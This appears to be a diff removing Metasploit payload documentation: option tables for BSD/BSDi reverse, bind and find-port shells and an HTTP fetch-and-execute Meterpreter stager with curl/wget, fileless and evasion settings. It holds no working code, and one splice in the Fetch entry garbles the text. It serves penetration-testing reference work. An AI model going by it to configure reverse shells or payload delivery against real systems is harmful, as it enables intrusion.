|
|
||||||
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
|
|
||||||
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
|
|
||||||
TAG qFGA yes The four byte tag to signify the connection.
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,53 +0,0 @@
|
|||||||
|
|
||||||
Name: BSD Command Shell, Reverse TCP Stager (IPv6)
|
|
||||||
Module: payload/bsd/x86/shell/reverse_ipv6_tcp
|
|
||||||
Platform: BSD
|
|
||||||
Arch: x86
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 81
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
skape <mmiller@hick.org>
|
|
||||||
vlad902 <vlad902@gmail.com>
|
|
||||||
hdm <x@hdm.io>
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
LHOST yes The listen address (an interface may be specified)
|
|
||||||
LPORT 4444 yes The listen port
|
|
||||||
SCOPEID 0 no IPv6 scope ID, for link-local addresses
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Spawn a command shell (staged).
|
|
||||||
|
|
||||||
Connect back to the attacker over IPv6
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoVerifySession true yes Automatically verify and drop invalid sessions
|
|
||||||
CommandShellCleanupCommand no A command to run before the session is closed
|
|
||||||
EnableStageEncoding false no Encode the second stage payload
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
|
|
||||||
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
|
|
||||||
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
|
|
||||||
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
|
|
||||||
PingbackRetries 0 yes How many additional successful pingbacks
|
|
||||||
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
|
|
||||||
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
|
|
||||||
ReverseListenerBindAddress no The specific IP address to bind to on the local system
|
|
||||||
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
|
|
||||||
ReverseListenerComm no The specific communication channel to use for this listener
|
|
||||||
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
|
|
||||||
StageEncoder no Encoder to use if EnableStageEncoding is set
|
|
||||||
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
|
|
||||||
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
|
|
||||||
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
|
|
||||||
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,50 +0,0 @@
|
|||||||
|
|
||||||
Name: BSD Command Shell, Reverse TCP Stager
|
|
||||||
Module: payload/bsd/x86/shell/reverse_tcp
|
|
||||||
Platform: BSD
|
|
||||||
Arch: x86
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 43
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
skape <mmiller@hick.org>
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
LHOST yes The listen address (an interface may be specified)
|
|
||||||
LPORT 4444 yes The listen port
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Spawn a command shell (staged).
|
|
||||||
|
|
||||||
Connect back to the attacker
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoVerifySession true yes Automatically verify and drop invalid sessions
|
|
||||||
CommandShellCleanupCommand no A command to run before the session is closed
|
|
||||||
EnableStageEncoding false no Encode the second stage payload
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
|
|
||||||
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
|
|
||||||
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
|
|
||||||
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
|
|
||||||
PingbackRetries 0 yes How many additional successful pingbacks
|
|
||||||
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
|
|
||||||
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
|
|
||||||
ReverseListenerBindAddress no The specific IP address to bind to on the local system
|
|
||||||
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
|
|
||||||
ReverseListenerComm no The specific communication channel to use for this listener
|
|
||||||
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
|
|
||||||
StageEncoder no Encoder to use if EnableStageEncoding is set
|
|
||||||
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
|
|
||||||
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
|
|
||||||
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
|
|
||||||
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,38 +0,0 @@
|
|||||||
|
|
||||||
Name: BSD Command Shell, Bind TCP Inline
|
|
||||||
Module: payload/bsd/x86/shell_bind_tcp
|
|
||||||
Platform: BSD
|
|
||||||
Arch: x86
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 73
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
Ramon de C Valle <rcvalle@metasploit.com>
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
LPORT 4444 yes The listen port
|
|
||||||
RHOST no The target address
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Listen for a connection and spawn a command shell
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AppendExit false no Append a stub that executes the exit(0) system call
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoVerifySession true yes Automatically verify and drop invalid sessions
|
|
||||||
CommandShellCleanupCommand no A command to run before the session is closed
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
|
|
||||||
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
|
|
||||||
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
|
|
||||||
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
|
|
||||||
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
|
|
||||||
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,40 +0,0 @@
|
|||||||
|
|
||||||
Name: BSD Command Shell, Bind TCP Inline (IPv6)
|
|
||||||
Module: payload/bsd/x86/shell_bind_tcp_ipv6
|
|
||||||
Platform: BSD
|
|
||||||
Arch: x86
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 87
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
skape <mmiller@hick.org>
|
|
||||||
vlad902 <vlad902@gmail.com>
|
|
||||||
hdm <x@hdm.io>
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
LPORT 4444 yes The listen port
|
|
||||||
RHOST no The target address
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Listen for a connection and spawn a command shell over IPv6
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AppendExit false no Append a stub that executes the exit(0) system call
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoVerifySession true yes Automatically verify and drop invalid sessions
|
|
||||||
CommandShellCleanupCommand no A command to run before the session is closed
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
|
|
||||||
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
|
|
||||||
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
|
|
||||||
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
|
|
||||||
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
|
|
||||||
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,37 +0,0 @@
|
|||||||
|
|
||||||
Name: BSD Command Shell, Find Port Inline
|
|
||||||
Module: payload/bsd/x86/shell_find_port
|
|
||||||
Platform: BSD
|
|
||||||
Arch: x86
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 60
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
Ramon de C Valle <rcvalle@metasploit.com>
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
CPORT 35777 no The local client port
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Spawn a shell on an established connection
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AppendExit false no Append a stub that executes the exit(0) system call
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoVerifySession true yes Automatically verify and drop invalid sessions
|
|
||||||
CommandShellCleanupCommand no A command to run before the session is closed
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
|
|
||||||
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
|
|
||||||
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
|
|
||||||
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
|
|
||||||
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
|
|
||||||
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,33 +0,0 @@
|
|||||||
|
|
||||||
Name: BSD Command Shell, Find Tag Inline
|
|
||||||
Module: payload/bsd/x86/shell_find_tag
|
|
||||||
Platform: BSD
|
|
||||||
Arch: x86
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 70
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
skape <mmiller@hick.org>
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Spawn a shell on an established connection (proxy/NAT safe)
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AppendExit false no Append a stub that executes the exit(0) system call
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoVerifySession true yes Automatically verify and drop invalid sessions
|
|
||||||
CommandShellCleanupCommand no A command to run before the session is closed
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
|
|
||||||
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
|
|
||||||
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
|
|
||||||
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
|
|
||||||
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
|
|
||||||
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
|
|
||||||
TAG T2v6 yes The four byte tag to signify the connection.
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,45 +0,0 @@
|
|||||||
|
|
||||||
Name: BSD Command Shell, Reverse TCP Inline
|
|
||||||
Module: payload/bsd/x86/shell_reverse_tcp
|
|
||||||
Platform: BSD
|
|
||||||
Arch: x86
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 64
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
Ramon de C Valle <rcvalle@metasploit.com>
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
LHOST yes The listen address (an interface may be specified)
|
|
||||||
LPORT 4444 yes The listen port
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Connect back to attacker and spawn a command shell
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AppendExit false no Append a stub that executes the exit(0) system call
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoVerifySession true yes Automatically verify and drop invalid sessions
|
|
||||||
CommandShellCleanupCommand no A command to run before the session is closed
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
|
|
||||||
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
|
|
||||||
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
|
|
||||||
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
|
|
||||||
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
|
|
||||||
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
|
|
||||||
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
|
|
||||||
ReverseListenerBindAddress no The specific IP address to bind to on the local system
|
|
||||||
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
|
|
||||||
ReverseListenerComm no The specific communication channel to use for this listener
|
|
||||||
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
|
|
||||||
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
|
|
||||||
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,48 +0,0 @@
|
|||||||
|
|
||||||
Name: BSD Command Shell, Reverse TCP Inline (IPv6)
|
|
||||||
Module: payload/bsd/x86/shell_reverse_tcp_ipv6
|
|
||||||
Platform: BSD
|
|
||||||
Arch: x86
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 96
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
skape <mmiller@hick.org>
|
|
||||||
vlad902 <vlad902@gmail.com>
|
|
||||||
hdm <x@hdm.io>
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
LHOST yes The listen address (an interface may be specified)
|
|
||||||
LPORT 4444 yes The listen port
|
|
||||||
SCOPEID 0 no IPv6 scope ID, for link-local addresses
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Connect back to attacker and spawn a command shell over IPv6
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AppendExit false no Append a stub that executes the exit(0) system call
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoVerifySession true yes Automatically verify and drop invalid sessions
|
|
||||||
CommandShellCleanupCommand no A command to run before the session is closed
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
|
|
||||||
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
|
|
||||||
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
|
|
||||||
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
|
|
||||||
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
|
|
||||||
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
|
|
||||||
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
|
|
||||||
ReverseListenerBindAddress no The specific IP address to bind to on the local system
|
|
||||||
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
|
|
||||||
ReverseListenerComm no The specific communication channel to use for this listener
|
|
||||||
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
|
|
||||||
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
|
|
||||||
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,43 +0,0 @@
|
|||||||
|
|
||||||
Name: BSDi Command Shell, Bind TCP Stager
|
|
||||||
Module: payload/bsdi/x86/shell/bind_tcp
|
|
||||||
Platform: BSDi
|
|
||||||
Arch: x86
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 69
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
skape <mmiller@hick.org>
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
LPORT 4444 yes The listen port
|
|
||||||
RHOST no The target address
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Spawn a command shell (staged).
|
|
||||||
|
|
||||||
Listen for a connection
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoVerifySession true yes Automatically verify and drop invalid sessions
|
|
||||||
CommandShellCleanupCommand no A command to run before the session is closed
|
|
||||||
EnableStageEncoding false no Encode the second stage payload
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
|
|
||||||
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
|
|
||||||
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
|
|
||||||
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
|
|
||||||
PingbackRetries 0 yes How many additional successful pingbacks
|
|
||||||
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
|
|
||||||
StageEncoder no Encoder to use if EnableStageEncoding is set
|
|
||||||
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
|
|
||||||
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,50 +0,0 @@
|
|||||||
|
|
||||||
Name: BSDi Command Shell, Reverse TCP Stager
|
|
||||||
Module: payload/bsdi/x86/shell/reverse_tcp
|
|
||||||
Platform: BSDi
|
|
||||||
Arch: x86
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 59
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
skape <mmiller@hick.org>
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
LHOST yes The listen address (an interface may be specified)
|
|
||||||
LPORT 4444 yes The listen port
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Spawn a command shell (staged).
|
|
||||||
|
|
||||||
Connect back to the attacker
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoVerifySession true yes Automatically verify and drop invalid sessions
|
|
||||||
CommandShellCleanupCommand no A command to run before the session is closed
|
|
||||||
EnableStageEncoding false no Encode the second stage payload
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
|
|
||||||
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
|
|
||||||
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
|
|
||||||
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
|
|
||||||
PingbackRetries 0 yes How many additional successful pingbacks
|
|
||||||
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
|
|
||||||
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
|
|
||||||
ReverseListenerBindAddress no The specific IP address to bind to on the local system
|
|
||||||
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
|
|
||||||
ReverseListenerComm no The specific communication channel to use for this listener
|
|
||||||
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
|
|
||||||
StageEncoder no Encoder to use if EnableStageEncoding is set
|
|
||||||
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
|
|
||||||
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
|
|
||||||
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
|
|
||||||
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,32 +0,0 @@
|
|||||||
|
|
||||||
Name: BSDi Command Shell, Bind TCP Inline
|
|
||||||
Module: payload/bsdi/x86/shell_bind_tcp
|
|
||||||
Platform: BSDi
|
|
||||||
Arch: x86
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 90
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
skape <mmiller@hick.org>
|
|
||||||
optyx <optyx@no$email.com>
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
LPORT 4444 yes The listen port
|
|
||||||
RHOST no The target address
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Listen for a connection and spawn a command shell
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoVerifySession true yes Automatically verify and drop invalid sessions
|
|
||||||
CommandShellCleanupCommand no A command to run before the session is closed
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,31 +0,0 @@
|
|||||||
|
|
||||||
Name: BSDi Command Shell, Find Port Inline
|
|
||||||
Module: payload/bsdi/x86/shell_find_port
|
|
||||||
Platform: BSDi
|
|
||||||
Arch: x86
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 77
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
skape <mmiller@hick.org>
|
|
||||||
optyx <optyx@no$email.com>
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
CPORT 37232 no The local client port
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Spawn a shell on an established connection
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoVerifySession true yes Automatically verify and drop invalid sessions
|
|
||||||
CommandShellCleanupCommand no A command to run before the session is closed
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,39 +0,0 @@
|
|||||||
|
|
||||||
Name: BSDi Command Shell, Reverse TCP Inline
|
|
||||||
Module: payload/bsdi/x86/shell_reverse_tcp
|
|
||||||
Platform: BSDi
|
|
||||||
Arch: x86
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 77
|
|
||||||
Rank: Normal
|
|
||||||
|
|
||||||
Provided by:
|
|
||||||
skape <mmiller@hick.org>
|
|
||||||
optyx <optyx@no$email.com>
|
|
||||||
|
|
||||||
Basic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
LHOST yes The listen address (an interface may be specified)
|
|
||||||
LPORT 4444 yes The listen port
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Connect back to attacker and spawn a command shell
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoVerifySession true yes Automatically verify and drop invalid sessions
|
|
||||||
CommandShellCleanupCommand no A command to run before the session is closed
|
|
||||||
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
|
|
||||||
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
|
|
||||||
ReverseListenerBindAddress no The specific IP address to bind to on the local system
|
|
||||||
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
|
|
||||||
ReverseListenerComm no The specific communication channel to use for this listener
|
|
||||||
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
|
|
||||||
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
|
|
||||||
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
|
|
||||||
VERBOSE false no Enable detailed status messages
|
|
||||||
WORKSPACE no Specify the workspace for this module
|
|
||||||
|
|
||||||
@@ -1,100 +0,0 @@
|
|||||||
|
|
||||||
Name: HTTP Fetch, Reverse TCP Stager
|
|
||||||
Module: payload/cmd/linux/http/aarch64/meterpreter/reverse_tcp
|
|
||||||
Platform: Linux
|
|
||||||
Arch: cmd
|
|
||||||
Needs Admin: No
|
|
||||||
Total size: 102
|
|
||||||
Rank: Norma
|
|
||||||
Evasion options for payload/cmd/linux/http/aarch64/meterpreter/reverse_tcp:
|
|
||||||
=========================
|
|
||||||
|
|
||||||
ic options:
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
|
||||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
|
||||||
FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8 (Accepted: none, bash, python3.8+)
|
|
||||||
FETCH_SRVHOST no Local IP to use for serving payload
|
|
||||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
|
||||||
FETCH_URIPATH no Local URI to use for serving payload
|
|
||||||
LHOST yes The listen address (an interface may be specified)
|
|
||||||
LPORT 4444 yes The listen port
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_COMMAND is one of CURL,WGET:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell.
|
|
||||||
|
|
||||||
|
|
||||||
When FETCH_FILELESS is none:
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
FETCH_FILENAME fGKaZjGk no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
|
||||||
FETCH_WRITABLE_DIR ./ yes Remote writable dir to store payload; cannot contain spaces
|
|
||||||
|
|
||||||
Description:
|
|
||||||
Fetch and execute an AARCH64 payload from an HTTP server.
|
|
||||||
Connect back to the attacker
|
|
||||||
|
|
||||||
|
|
||||||
Name Current Setting Required Description
|
|
||||||
---- --------------- -------- -----------
|
|
||||||
AutoLoadStdapi true yes Automatically load the Stdapi extension
|
|
||||||
AutoRunScript no A script to run automatically on session creation.
|
|
||||||
AutoSystemInfo true yes Automatically capture system information on initialization.
|
|
||||||
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
|
|
||||||
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
|
|
||||||
EXE::Custom no Use custom exe instead of automatically generating a payload exe
|
|
||||||
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
|
|
||||||
EXE::FallBack false no Use the default template in case the specified one is missing
|
|
||||||
EXE::Inject false no Set to preserve the original EXE function
|
|
